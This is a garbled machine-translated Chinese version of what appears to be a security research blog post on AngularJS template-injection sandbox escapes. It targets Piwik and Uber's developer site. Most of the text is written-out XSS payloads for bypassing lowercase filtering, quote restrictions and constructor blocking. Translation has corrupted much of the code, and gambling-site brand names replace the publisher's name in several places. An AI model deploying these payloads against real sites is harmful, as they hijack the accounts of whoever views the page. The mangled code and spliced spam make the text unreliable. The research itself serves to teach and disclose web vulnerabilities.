调整AngularJS有效载荷来利用现实世界的应用程序

调整AngularJS有效载荷

每个经验丰富的五个人都知道还有很多事情要做XSS而不是 - 过滤,编码,浏览器Quirks和WAFS都团结起来,以使事情变得有趣。AngularJS模板注入没有什么不同。在这篇文章中,我们将研究如何调整模板注入有效载荷以绕过过滤,编码和利用Piwik和Uber。

较低的情况转换

皮维克,一个开源分析平台,具有健康的270万个下载量,使用AngularJS 1.2.26,并显示访问者的搜索查询。

经过欺骗Google的推荐,我们可以在此处注入一个包含角度表达式的关键字。但是,注入合适的沙箱逃脱Angular 1.2.26不起作用:

{'+eval(y)+\“'”);}}}}

Piwik将此输入转换为较低的情况,从而阻止了Charat函数被覆盖,并被调用。我们通过使用Unicode Escapes来覆盖Charat函数,很容易地获得了这些限制:

'a'.constructor.protype ['char \ u0041t']

并使用的“” .concat而不是valueof:

'a'.constructor.protype ['char \ u0041t'] =''。concat;

这是最终有效载荷(略微破坏了灰心利用):

{{'a'.constructor.prototype ['char \ u0041t'] =''。concat;
$ eval(“ x ='\”+(y ='if(!window \\ u002pe)alert(window \\ u002ex = 1)')+eval(y)+\'''');}}}

https://jsfiddle.net/72uaodfe/

这种脆弱性确实非常严重 - 未经验证的攻击者可以注入有效载荷,这将劫持任何观看它的人的帐户。如果管理员帐户被劫持,我们也许可以安装恶意模块并完全控制Web服务器。beplay体育能用吗更新到Piwik 2.16.1以获取修复程序。

不允许报价

乘车共享公司Uber允许开发人员通过developer.uber.com提交和管理应用程序。他们使用第三方(readme.io)在https://developer.uber.com/docs/

该站点使用AngularJS,并使用服务器端模板反映当前URL,但至关重要的不是URL首先解码它。Firefox和Chrome均url condode和postrophes均表示,如果我们想要跨浏览器有效负载(和一个不错的漏洞赏金),我们需要一种获取字符串对象的替代方法。另外,无论浏览器如何,我们都不能使用任何空间。

使用对象的ToString方法,我们可以创建一个字符串,而无需单引号或双引号。({} .toString)创建字符串,然后我们可以使用其构造函数访问字符串对象并从charcode调用。

{{{
({} .toString())。structor.prototype.charat = []。join;
$ eval(({}。toString())。构造函数(120,61,49,49,125,32,125,32,32,125,125,59,59,97,108,101,101,114,116,40,40,40,49,41,41,47,47)))
}}}

马里奥·海德里奇(Mario Heiderich)提出了一个较短的版本,可以删除对象文字参考。这也可以减少(对于那些喜欢代码“打高尔夫球”的人)为: -

{{{
x = toString(); x.constructor.prototype.charat = x.constructor.prototype.concat;
$ eval(X.Constructor.FromCharCode(120,61,49,125,32,125,32,32,125,59,59,97,108,101,114,114,116,40,40,49,41,47,47))))
}}}

没有报价或构造函数

但是,还有一个捕获。Uber正在使用Angular 1.2.0,该Angular 1.2.0通过obj.constructor等常规JavaScript属性禁止访问构造函数,尽管允许像OBJ ['constructor']这样的对象访问器。因此,我需要生成字符串“ constructor”,但是我无法访问字符串构造函数从charcode调用,因为我需要传递字符串“ constructor”。鸡肉和鸡蛋情况。

我想如何在不使用 +的情况下生成一个字符串并将它们连接在一起。我决定使用数组。首先,我创建一个空白阵列。

C = [];

下一个问题是如何在没有从charcode调用的能力的情况下为构造函数生成所需的字符(因为我们还不能使用构造函数)而没有引号!这里的诀窍是使用现有对象生成所需的字符。您几乎可以将此视为一种扭曲的ROP。使用当前范围的对象的ToString方法将生成字符串[对象],从而为我们提供构造函数所需的一些字符。

o = tostring(); // [对象对象]

您之间的观察者可能想知道我们如何获得“ N”,因为Angular耐受了未定义的对象,因此我们不能将未定义的对象转换为字符串。该解决方案是在字符串上使用锚点“函数”,因为生成的输出包含“ N”。

t = o.anchor(true); // [对象不确定]

接下来,我需要使用相同的方法生成错误。您可以使用false.tostring()而不是。现在将所有字符串添加到阵列中。

f = o.anchor(false);
c.push(o [5]);
c.push(o [1]);
c.push(t [3]);
C.Push(F [12]);
c.push(t [9]);
c.push(t [10]);
c.push(t [11]);
c.push(o [5]);
c.push(t [9]);
c.push(o [1]);
c.push(t [10]);

然后,我需要将这些字符连接在一起,但是我无法使用引号生成一个空白字符串。解决方案是使用执行同样事情的数组文字。

a = c.join([]);

因此,我们的字符串“构造函数”下一阶段是使用1.2.0的必需利用扬·霍恩(Jan Horn)并将我们的字符串传递给它。现在,我们可以使用“构造函数”来使用“ constructor”来生成字符。这是其所有荣耀的最终剥削。

{{{
C = [];
o = toString();
t = o.anchor(true);
f = o.anchor(false);
c.push(o [5]);
c.push(o [1]);
c.push(t [3]);
C.Push(F [12]);
c.push(t [9]);
c.push(t [10]);
c.push(t [11]);
c.push(o [5]);
c.push(t [9]);
c.push(o [1]);
c.push(t [10]);
a = c.join([]); b = {}; a.sub.call.call(b [a] .getownpropertydescriptor(b [a] .getPrototypeof(a.sub),a),value,0,tostring()[c.join([])]。
}}}

http://jsfiddle.net/8jd84f44/

Uber/readme.io有些令人印象深刻在24小时内修补了这个问题它被报告。

即使您在JavaScript沙箱中,仍然有足够的空间适应漏洞来绕过环境限制。这些技术应作为解决您遇到的任何事情的基础。

请访问beplay体育能用吗Web Academy Angularjs实验室使用AngularJS尝试XSS。

回到所有文章

相关的研究

每日Swig的推荐故事beplay2018官网